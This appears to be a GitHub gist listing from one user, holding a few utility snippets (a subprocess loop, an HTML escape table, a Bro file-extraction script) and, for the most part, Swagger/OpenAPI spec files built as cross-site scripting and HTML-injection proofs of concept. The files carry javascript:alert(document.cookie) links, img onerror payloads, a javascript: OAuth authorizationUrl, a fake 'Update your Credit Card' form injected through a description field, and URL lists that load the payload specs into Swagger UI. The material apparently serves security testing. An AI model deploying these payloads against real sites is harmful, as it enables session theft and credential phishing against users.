This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import subprocess | |
| values = ['values', 'to', 'write', 'to', 'process'] | |
| for i in values: | |
| p = subprocess.Popen('./forbidden.dms', stdin=subprocess.PIPE) | |
| p.communicate(i) |
danzajork
/ html escape characters
Created
November 27, 2017 05:28
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| < | less than sign < | |
| @ | at sign @ | |
| ] | right bracket ] | |
| { | left curly brace { | |
| } | right curly brace } | |
| … | ellipsis … | |
| ‡ | double dagger ‡ | |
| ’ | right single quote ’ | |
| ” | right double quote ” | |
| – | short dash – |
danzajork
/ extract-files.bro
Created
November 15, 2018 16:49
bro script to extract all files to disk
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ##! Extract all files to disk. | |
| @load base/files/extract | |
| event file_new(f: fa_file) | |
| { | |
| Files::add_analyzer(f, Files::ANALYZER_EXTRACT); | |
| } |
danzajork
/ swagger-xxl-url.yaml
Last active
May 28, 2020 20:49
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: "2.0" | |
| info: | |
| title: "Swagger Sample App", | |
| description: "Please to click Terms of service" | |
| termsOfService: "javascript:alert(document.cookie)" | |
| contact: | |
| name: "API Support", | |
| url: "javascript:alert(document.cookie)", | |
| email: "javascript:alert(document.cookie)" | |
| version: "1.0.1" |
danzajork
/ swagger-xss-oauth2.yml
Created
June 2, 2020 19:39
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| securityDefinitions: | |
| a: | |
| type: oauth2 | |
| authorizationUrl: javascript:alert(document.domain)// | |
| info: | |
| version: "0.0.1" | |
| title: Example Title | |
| description: Please Authorize! <img src=x onerror=alert(1) /> | |
| paths: |
danzajork
/ swagger.json
Created
May 11, 2021 19:11
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "swagger": "2.0", | |
| "info": { | |
| "description": " <img src=x onerror=alert(document.domain)><h1>[XSS POC](javascript:alert%28document.domain%29)", | |
| "version": "1.0.0", | |
| "title": "Swagger XSS POC", | |
| "termsOfService": "javascript:alert%28document.domain%29)", | |
| "contact": { | |
| "email": "javascript:alert%28document.domain%29)" | |
| }, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| urls: [ | |
| { | |
| "url": "https://gist.githubusercontent.com/danzajork/196a65886940b1f08eceaf2726e95361/raw/4e1d42baf2068decf2bac94fdea5926a1ea87d17/swagger.json", | |
| "name": "Petstore" | |
| }, | |
| { | |
| "url": "https://gist.githubusercontent.com/danzajork/0998810ee062fc9004b4ccf468fa42b0/raw/6efd1d76a3bf9c5957381162b043cce21942048c/swagger-xss-oauth2.yml", | |
| "name": "Petstore2" | |
| }, | |
| { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| info: | |
| version: 1.0.0 | |
| title: HTML injection PoC | |
| description: '<div class="creditCardForm"> | |
| <div class="heading"> | |
| <h1>Update your Credit Card</h1> | |
| </div> | |
| <div class="payment"> | |
| <form action="https://example.com/" method="post" class="form-signin" id = "login_form"> |
danzajork
/ swagger-xss.yaml
Last active
December 9, 2021 02:41
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| securityDefinitions: | |
| a: | |
| type: oauth2 | |
| authorizationUrl: javascript:alert(document.domain)// | |
| info: | |
| version: "0.0.1" | |
| title: Example Title | |
| description: Please Authorize! | |
| paths: |
danzajork
/ swagger-content-injection.json
Created
February 22, 2022 19:45
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| urls: [ | |
| { | |
| "url": "https://gist.githubusercontent.com/danzajork/f6273f7d00620da3f6f3e3c04ec68002/raw/17546e73f8f52a31f7c8360e5a342812405a23e1/cc.yaml", | |
| "name": "Petstore" | |
| }, | |
| { | |
| "url": "https://gist.githubusercontent.com/danzajork/0998810ee062fc9004b4ccf468fa42b0/raw/6efd1d76a3bf9c5957381162b043cce21942048c/swagger-xss-oauth2.yml", | |
| "name": "Petstore2" | |
| }, | |
| { |
OlderNewer